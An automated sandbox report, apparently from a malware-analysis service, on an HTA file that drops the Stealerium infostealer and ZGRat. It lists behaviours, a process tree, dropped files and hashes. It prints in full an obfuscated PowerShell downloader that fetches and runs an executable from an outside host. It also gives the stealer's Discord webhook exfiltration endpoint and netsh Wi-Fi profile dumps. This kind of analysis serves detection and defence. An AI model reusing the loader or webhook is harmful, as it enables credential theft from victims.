Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 20:19

General

  • Target

    magic.poisontoolz.com/xw.hta

  • Size

    9KB

  • MD5

    7fd67141143ee183f9fddde7fc7e02de

  • SHA1

    bb658b3ec2437bd8ec9600e726433139aae85e3d

  • SHA256

    f29e50d354f1449c3cfc01c31f14268a29ef70051041bc14b6b71b94bce5b517

  • SHA512

    baded976e98ea76b9813128dc1947abae8c915fdeeb6619dff2bc88efcb31e1ee291494faa2405caa283ba6268101622932b569be02e0172b4c4a69481375ae5

  • SSDEEP

    192:uIBkEA+PkPeI19n1dNDQ9nNNsV2OilDQ9nysHSUlDvdltdEVqQKdDp4Re1JQ/ffs:u20oc1C+nQrzk

Malware Config

Extracted

Family

stealerium

C2

https://discordapp.com/api/webhooks/1197850806213431377/-zU9uA2NeaYEk4-ozdhgmNljI6NS_w_qcT_cbtxYxZdkUD3JeaKChZp4GXdod-MX3D1Q

Signatures

  • Detect ZGRat V1 34 IoCs
  • Stealerium

    An open source info stealer written in C# first seen in May 2022.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\magic.poisontoolz.com\xw.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1988
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function QTkshkQ($cDGZfk, $yzmbgckKGbazEIn){[IO.File]::WriteAllBytes($cDGZfk, $yzmbgckKGbazEIn)};function TkuLTlapXaFtTtwV($cDGZfk){if($cDGZfk.EndsWith((iyCVHkkuB @(46364,46418,46426,46426))) -eq $True){rundll32.exe $cDGZfk }elseif($cDGZfk.EndsWith((iyCVHkkuB @(46364,46430,46433,46367))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $cDGZfk}elseif($cDGZfk.EndsWith((iyCVHkkuB @(46364,46427,46433,46423))) -eq $True){misexec /qn /i $cDGZfk}else{Start-Process $cDGZfk}};function DTKsKtcccITMNLzYJ($OBbjRQJFrABngjzzKQR){$QxNgcQqldJUnDwxVjTSlD = New-Object (iyCVHkkuB @(46396,46419,46434,46364,46405,46419,46416,46385,46426,46423,46419,46428,46434));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$yzmbgckKGbazEIn = $QxNgcQqldJUnDwxVjTSlD.DownloadData($OBbjRQJFrABngjzzKQR);return $yzmbgckKGbazEIn};function iyCVHkkuB($BmSsapwYTMD){$uhHMB=46318;$UzSaffw=$Null;foreach($WNyqiOQgreOPKu in $BmSsapwYTMD){$UzSaffw+=[char]($WNyqiOQgreOPKu-$uhHMB)};return $UzSaffw};function nBauMKwRs(){$WplUOTzLXWqwfc = $env:AppData + '\';$flgGVgp = $WplUOTzLXWqwfc + 'xw.exe'; if (Test-Path -Path $flgGVgp){TkuLTlapXaFtTtwV $flgGVgp;}Else{ $hkhkBA = DTKsKtcccITMNLzYJ (iyCVHkkuB @(46422,46434,46434,46430,46433,46376,46365,46365,46427,46415,46421,46423,46417,46364,46430,46429,46423,46433,46429,46428,46434,46429,46429,46426,46440,46364,46417,46429,46427,46365,46438,46437,46364,46419,46438,46419));QTkshkQ $flgGVgp $hkhkBA;TkuLTlapXaFtTtwV $flgGVgp;};;;;}nBauMKwRs;
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Users\Admin\AppData\Roaming\xw.exe
        "C:\Users\Admin\AppData\Roaming\xw.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1012
        • C:\Users\Admin\AppData\Roaming\xw.exe
          C:\Users\Admin\AppData\Roaming\xw.exe
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3080
          • C:\Users\Admin\AppData\Local\Temp\loaderX.exe
            "C:\Users\Admin\AppData\Local\Temp\loaderX.exe"
            5⤵
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3732
          • C:\Users\Admin\AppData\Local\Temp\build.exe
            "C:\Users\Admin\AppData\Local\Temp\build.exe"
            5⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:3144
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1132
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                7⤵
                  PID:4028
                • C:\Windows\SysWOW64\findstr.exe
                  findstr All
                  7⤵
                    PID:4936
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh wlan show profile
                    7⤵
                      PID:4780
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:348
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh wlan show networks mode=bssid
                      7⤵
                        PID:4464
                      • C:\Windows\SysWOW64\chcp.com
                        chcp 65001
                        7⤵
                          PID:2812
                  • C:\Users\Admin\AppData\Roaming\xw.exe
                    C:\Users\Admin\AppData\Roaming\xw.exe
                    4⤵
                    • Executes dropped EXE
                    PID:2720
                  • C:\Users\Admin\AppData\Roaming\xw.exe
                    C:\Users\Admin\AppData\Roaming\xw.exe
                    4⤵
                    • Executes dropped EXE
                    PID:1756
            • C:\Windows\system32\msiexec.exe
              C:\Windows\system32\msiexec.exe /V
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4040

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\Browsers\Firefox\Bookmarks.txt

              Filesize

              105B

              MD5

              2e9d094dda5cdc3ce6519f75943a4ff4

              SHA1

              5d989b4ac8b699781681fe75ed9ef98191a5096c

              SHA256

              c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

              SHA512

              d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\Directories\OneDrive.txt

              Filesize

              25B

              MD5

              966247eb3ee749e21597d73c4176bd52

              SHA1

              1e9e63c2872cef8f015d4b888eb9f81b00a35c79

              SHA256

              8ddfc481b1b6ae30815ecce8a73755862f24b3bb7fdebdbf099e037d53eb082e

              SHA512

              bd30aec68c070e86e3dec787ed26dd3d6b7d33d83e43cb2d50f9e2cff779fee4c96afbbe170443bd62874073a844beb29a69b10c72c54d7d444a8d86cfd7b5aa

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\Directories\Videos.txt

              Filesize

              23B

              MD5

              1fddbf1169b6c75898b86e7e24bc7c1f

              SHA1

              d2091060cb5191ff70eb99c0088c182e80c20f8c

              SHA256

              a67aa329b7d878de61671e18cd2f4b011d11cbac67ea779818c6dafad2d70733

              SHA512

              20bfeafde7fec1753fef59de467bd4a3dd7fe627e8c44e95fe62b065a5768c4508e886ec5d898e911a28cf6365f455c9ab1ebe2386d17a76f53037f99061fd4d

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\System\Apps.txt

              Filesize

              5KB

              MD5

              b1d58554f33c991f9454f81bf1f6a7a6

              SHA1

              1a9c0748fbb4c4974315f6a3188ffb5078372de1

              SHA256

              2809730601ec3cd803e75dded9788afc2683f6562378a497e7300fd83137838c

              SHA512

              ef961a73b2b8844155d1684a6d5e0319ad5d0c8cb2c60e4ed16b03cca69e04bf9872f2bff8fdf24d3bf284366f2b2f0d36f1e4c1cd5d007732c3ad0af562d5c6

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\System\Debug.txt

              Filesize

              1007B

              MD5

              894a0706eaf89a7b68175d7da206a8b3

              SHA1

              50cb6c62493034303e4d35aef1e0c45d5dd2e102

              SHA256

              ce03ca4421eaf1c1b578af11d74efd3d5d4198860e209ae4929f722cf2601f18

              SHA512

              1a06886bea0f2700b1a6d0d64f3d2cadf8b49ec1300b93dde40d50da2e563f9ec3ea4df446faf6462b95b375dc35a9ac8f71816eb06c96a9b7fea91817667924

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\System\Process.txt

              Filesize

              4KB

              MD5

              d162920ec27ea267235b5216d6701181

              SHA1

              ef91540d216bead782f55da51239c2682dc7b71d

              SHA256

              c3f4acbecdd4feb212db3fac658cb531876ae23929b76cb49d35285409a224fd

              SHA512

              7e671cbc520856770e202e379979db04665b69c770ee984c36f5f2e5bb7a5c110400f7db99164f50c88762f141a104e769493b8765a9148108f750a0ba1567a4

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\Admin@EUCQOBEO_en-US\System\ProductKey.txt

              Filesize

              29B

              MD5

              71eb5479298c7afc6d126fa04d2a9bde

              SHA1

              a9b3d5505cf9f84bb6c2be2acece53cb40075113

              SHA256

              f6cadfd4e4c25ff3b8cffe54a2af24a757a349abbf4e1142ec4c9789347fe8b3

              SHA512

              7c6687e21d31ec1d6d2eff04b07b465f875fd80df26677f1506b14158444cf55044eb6674880bd5bd44f04ff73023b26cb19b8837427a1d6655c96df52f140bd

            • C:\Users\Admin\AppData\Local\4328422ae596810d79d5ca8d46a9b287\msgid.dat

              Filesize

              19B

              MD5

              0195e3cc8225740a42592efa8bf12f60

              SHA1

              d4317e1f9762572ea061de3e2639f74cd2a941be

              SHA256

              0aeb189d6afa7545e36f66de5c3bd66f6ee12742d77168605c78588e9eebb1db

              SHA512

              8681594da21e812625a02322f0996f140b28f8554ae04cf9eb79723fb2c114e6bf8b4a1c42616254dfd709d3faf15924d344bfec840dd8121e9873d7f6e45173

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\xw.exe.log

              MD5

              d41d8cd98f00b204e9800998ecf8427e

              SHA1

              da39a3ee5e6b4b0d3255bfef95601890afd80709

              SHA256

              e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

              SHA512

              cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

            • C:\Users\Admin\AppData\Local\Temp\Data\Autofills.txt

              Filesize

              234B

              MD5

              6be6fdca0cfa94635b8689b2b0bf2bee

              SHA1

              379c61029b5443c3d3df7c770423e40618b36d15

              SHA256

              5bc3a7ced261f235f4a30797ad96f803c9e022a95ad6bc7fedc06d0fd2a0abeb

              SHA512

              7955fb48977c971563b10420e379ebea01e42582a8dfe2719ec756dda7e757168031a58a3c9fef061c0abb6c799579f7c8b46de4fc5b4ab3519d735092848cd8

            • C:\Users\Admin\AppData\Local\Temp\Data\Histories.txt

              Filesize

              234B

              MD5

              412ec159e4b14be1ca93db473e80acc2

              SHA1

              8909b6f7fc8715a749270b6ceb8f05f823f59fd3

              SHA256

              eaff9c24df526e9c884832130bf6de9182fd96f3dcdba33e8e5e7a4ed37f1bbe

              SHA512

              a90524333fd34d44f5784a90ada19904ea7379de26cae08ffdfd2ee25b3fd5b36c2cbcf7a7e6fc4ff734680ca1ff177ed42df1d4f5583d6a1a89d622c183f0b4

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_scy4e343.033.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\build.exe

              Filesize

              92KB

              MD5

              a90e4f6bdd44a71e2246160693884539

              SHA1

              940ebec474e0b4d87dc4f06f37a1d32d2315cf56

              SHA256

              b2c5ecae8bdeb480fb306372d7a12d943531bd0de1b15f45168ba659f25694d4

              SHA512

              9a7fcd588ef5842798481bacfb7b32dd57efe06db3c852c69916d0045f806894d475ccf8f52bed942a35f4160bb6c3be7d635b17928d29148318c2858b62d937

            • C:\Users\Admin\AppData\Local\Temp\build.exe

              Filesize

              33KB

              MD5

              ce008446a6fa668f1482d5dbf86db7a5

              SHA1

              e44d92971edbeb71bfd53e38b2d5dd31fe0dc216

              SHA256

              b8cf553f561a7594907f7407c23d79b21c175472f56a5bc55a377c6f3c908d4d

              SHA512

              980c5a16696eabe5f1c660750be914cd2df4e72111a416ad1d53efd8cb29852b64d5ffdb4e5286543aaa3b76ba599243f768c6338f23af0163dea9107e4cdd6d

            • C:\Users\Admin\AppData\Local\Temp\build.exe

              Filesize

              86KB

              MD5

              d1aa9832a89fcef4fe32df07d43736c0

              SHA1

              75b1fd07a8a8935cfa8ab8fa816aebddbeefd1c5

              SHA256

              c82c8c416aec3df58bab4ec5b133a7a7ce2a64766c3ba7eab9d33e86be58a4ce

              SHA512

              bca7f2a3f5d4316cc96d73887ba350cc44fda87eaf609c535cf2eb91cc62bc04003303034bead8f759b531bc3b565d515d731584d64282d273a81c56ec1a9a84

            • C:\Users\Admin\AppData\Local\Temp\loaderX.exe

              Filesize

              92KB

              MD5

              45ea343e335d2d6400ccbc1e3fc85f11

              SHA1

              7f2267d1f27a076e284696c30a4cf4768fd1a52f

              SHA256

              f38fbc005bcaadb661f8f57f00eb44960e27a1cbf4c4012c3f27834e62a9c203

              SHA512

              c7689143605327ed63d967b81e7eb8eecf786b5273d772209d7581fc36517953b686a4c8196f9100acf026e9e8c5edc7724e5f0f77d0c982377dfd5d039e33a1

            • C:\Users\Admin\AppData\Local\Temp\loaderX.exe

              Filesize

              85KB

              MD5

              dd87528a716d48530d8cc7fe6bec3386

              SHA1

              89351d5b60846912f216acb58219397fc1ca9aee

              SHA256

              eb2b5d61c9a6d7e26f81da14df0c063fb2c71ba294389fce6076a0ae52356244

              SHA512

              9f203bbb162250aab7cd643ac72f430ddd761c063d5a2fd6fd03cdf7707a6e6c287bfeba4b675d4173c92641573313d5f765afefa0c3d159e196542b10d6b861

            • C:\Users\Admin\AppData\Local\Temp\loaderX.exe

              Filesize

              153KB

              MD5

              f37938f3bb58f159e1d46403c6e0b10a

              SHA1

              78948994aa6c388b4356ee1eeb94b20cdfcda845

              SHA256

              634a0173ea818d5b152fcfbd8cc4b5d05fb381dac744b251a7b0184b2d7ddac8

              SHA512

              6345f8f659fbcd16bb9f42cb68270f9ab275a76ba0acc74cb55a1d6c1bfade06c0cf1d2fbd6b671cb0445869714a19bb8d08ac71ca57fdd21a941fe0b28773a5

            • C:\Users\Admin\AppData\Roaming\xw.exe

              Filesize

              17KB

              MD5

              eef7a52c4e6fc20cd22306b007b9b4c0

              SHA1

              700f935a3e75a0001654fae0b4d30af5044329c0

              SHA256

              1e5f96939d4d1af801f771de3da5e285c0c7dc4b376dfc127b7320926d0e0444

              SHA512

              4459e6f019a906c13bd41dc3664e0dc4567b8cd941712ecd79e3888fadce517ac640767f80d92fbc57963da5b8e648e1f6a6ec13efe1f37f3bc21b672ac70c70

            • C:\Users\Admin\AppData\Roaming\xw.exe

              Filesize

              1KB

              MD5

              e6ccb03a4cd3aa39359361eae696ab9b

              SHA1

              ac58548d25dee7cc1c6f6b6eff1d53fabfc0aab3

              SHA256

              7cc9da41083cd2640ef63e8190fa4d426e9d03a930348d3dbbcb4074f39e91ba

              SHA512

              4e4ee151f1104cc1511b02d8140287b0c489bd21f1491f7b9f0229a31091572e211bcee98f3ec0dc29d8bb0169327b7063ad1a376918548f51aba32931b138cd

            • C:\Users\Admin\AppData\Roaming\xw.exe

              Filesize

              4KB

              MD5

              041d958d503620fcee33aab200c8e17a

              SHA1

              6e6b21612723294622356d6897968faa05439b81

              SHA256

              1f84a7ebd0887401a73b3152d38b4ac6dd5b5203189744a645ca59c3e3f4dbfb

              SHA512

              f6ce0c7d592b5dd8c47fc5eded575be3ac74bb5ad874dfef8091fdbbf957487a0e74be68f229dd2849ec82b7479ec539043cea05687525af0849cbd879dce181

            • C:\Users\Admin\AppData\Roaming\xw.exe

              Filesize

              5KB

              MD5

              9b5571670ab852ab22ef3810cfd70159

              SHA1

              8c7972a29379b57f9e40d8b7af796eb938cf8670

              SHA256

              6e1a3a18373c5b55d3dd1e75c210bb15ede6de748c3b88af5858120144558ab1

              SHA512

              01e593ae4febe272b7f3fc303ba130797e1d36335716627ebd667d8c347302ca17d252f2cda37a6cb15906c12ba8c103e480b8a2ce97290a81cea500bb66a092

            • memory/1012-45-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-37-0x0000000000A90000-0x0000000000A9E000-memory.dmp

              Filesize

              56KB

            • memory/1012-41-0x00000000053F0000-0x0000000005400000-memory.dmp

              Filesize

              64KB

            • memory/1012-43-0x0000000008140000-0x00000000086A8000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-44-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-40-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/1012-47-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-49-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-51-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-53-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-55-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-57-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-59-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-61-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-65-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-63-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-67-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-69-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-71-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-73-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-75-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-77-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-79-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-81-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-83-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-85-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-87-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-89-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-91-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-93-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-95-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-97-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-99-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-101-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-103-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-105-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-107-0x0000000008140000-0x00000000086A3000-memory.dmp

              Filesize

              5.4MB

            • memory/1012-976-0x0000000004D80000-0x0000000004D81000-memory.dmp

              Filesize

              4KB

            • memory/1012-977-0x00000000089F0000-0x0000000008EF0000-memory.dmp

              Filesize

              5.0MB

            • memory/1012-978-0x0000000006D00000-0x0000000006D4C000-memory.dmp

              Filesize

              304KB

            • memory/1012-985-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/3080-987-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/3080-989-0x0000000005790000-0x00000000057A0000-memory.dmp

              Filesize

              64KB

            • memory/3080-1022-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/3080-986-0x0000000000400000-0x0000000000C0A000-memory.dmp

              Filesize

              8.0MB

            • memory/3080-988-0x0000000005610000-0x00000000056A2000-memory.dmp

              Filesize

              584KB

            • memory/3080-990-0x00000000055C0000-0x00000000055CA000-memory.dmp

              Filesize

              40KB

            • memory/3144-1263-0x0000000006FE0000-0x000000000705A000-memory.dmp

              Filesize

              488KB

            • memory/3144-1335-0x0000000007260000-0x0000000007312000-memory.dmp

              Filesize

              712KB

            • memory/3144-1351-0x00000000055A0000-0x00000000055B0000-memory.dmp

              Filesize

              64KB

            • memory/3144-1350-0x00000000055A0000-0x00000000055B0000-memory.dmp

              Filesize

              64KB

            • memory/3144-1020-0x0000000000BD0000-0x0000000000D62000-memory.dmp

              Filesize

              1.6MB

            • memory/3144-1072-0x0000000005ED0000-0x0000000005EF6000-memory.dmp

              Filesize

              152KB

            • memory/3144-1349-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/3144-1023-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/3144-1073-0x0000000005F00000-0x0000000005F08000-memory.dmp

              Filesize

              32KB

            • memory/3144-1071-0x0000000005E40000-0x0000000005ED2000-memory.dmp

              Filesize

              584KB

            • memory/3144-1337-0x0000000008630000-0x0000000008984000-memory.dmp

              Filesize

              3.3MB

            • memory/3144-1075-0x0000000006E90000-0x0000000006E98000-memory.dmp

              Filesize

              32KB

            • memory/3144-1260-0x00000000055A0000-0x00000000055B0000-memory.dmp

              Filesize

              64KB

            • memory/3144-1059-0x00000000055A0000-0x00000000055B0000-memory.dmp

              Filesize

              64KB

            • memory/3144-1074-0x0000000006E80000-0x0000000006E8A000-memory.dmp

              Filesize

              40KB

            • memory/3144-1076-0x0000000006EB0000-0x0000000006ECE000-memory.dmp

              Filesize

              120KB

            • memory/3732-1026-0x000001B3F3950000-0x000001B3F39A0000-memory.dmp

              Filesize

              320KB

            • memory/3732-1068-0x00007FF9A8820000-0x00007FF9A92E1000-memory.dmp

              Filesize

              10.8MB

            • memory/3732-1019-0x000001B3D8E70000-0x000001B3D8FE8000-memory.dmp

              Filesize

              1.5MB

            • memory/3732-1024-0x000001B3F36C0000-0x000001B3F36D0000-memory.dmp

              Filesize

              64KB

            • memory/3732-1021-0x00007FF9A8820000-0x00007FF9A92E1000-memory.dmp

              Filesize

              10.8MB

            • memory/4284-23-0x0000000006A50000-0x0000000006A72000-memory.dmp

              Filesize

              136KB

            • memory/4284-18-0x00000000064B0000-0x00000000064CE000-memory.dmp

              Filesize

              120KB

            • memory/4284-19-0x00000000064F0000-0x000000000653C000-memory.dmp

              Filesize

              304KB

            • memory/4284-17-0x0000000005FE0000-0x0000000006334000-memory.dmp

              Filesize

              3.3MB

            • memory/4284-7-0x0000000005E70000-0x0000000005ED6000-memory.dmp

              Filesize

              408KB

            • memory/4284-6-0x0000000005790000-0x00000000057F6000-memory.dmp

              Filesize

              408KB

            • memory/4284-20-0x0000000002BE0000-0x0000000002BF0000-memory.dmp

              Filesize

              64KB

            • memory/4284-42-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/4284-5-0x00000000055F0000-0x0000000005612000-memory.dmp

              Filesize

              136KB

            • memory/4284-4-0x0000000005840000-0x0000000005E68000-memory.dmp

              Filesize

              6.2MB

            • memory/4284-0-0x0000000002B70000-0x0000000002BA6000-memory.dmp

              Filesize

              216KB

            • memory/4284-22-0x00000000069E0000-0x00000000069FA000-memory.dmp

              Filesize

              104KB

            • memory/4284-3-0x0000000002BE0000-0x0000000002BF0000-memory.dmp

              Filesize

              64KB

            • memory/4284-25-0x00000000088F0000-0x0000000008F6A000-memory.dmp

              Filesize

              6.5MB

            • memory/4284-2-0x0000000002BE0000-0x0000000002BF0000-memory.dmp

              Filesize

              64KB

            • memory/4284-1-0x00000000714D0000-0x0000000071C80000-memory.dmp

              Filesize

              7.7MB

            • memory/4284-24-0x0000000007CC0000-0x0000000008264000-memory.dmp

              Filesize

              5.6MB

            • memory/4284-21-0x0000000007670000-0x0000000007706000-memory.dmp

              Filesize

              600KB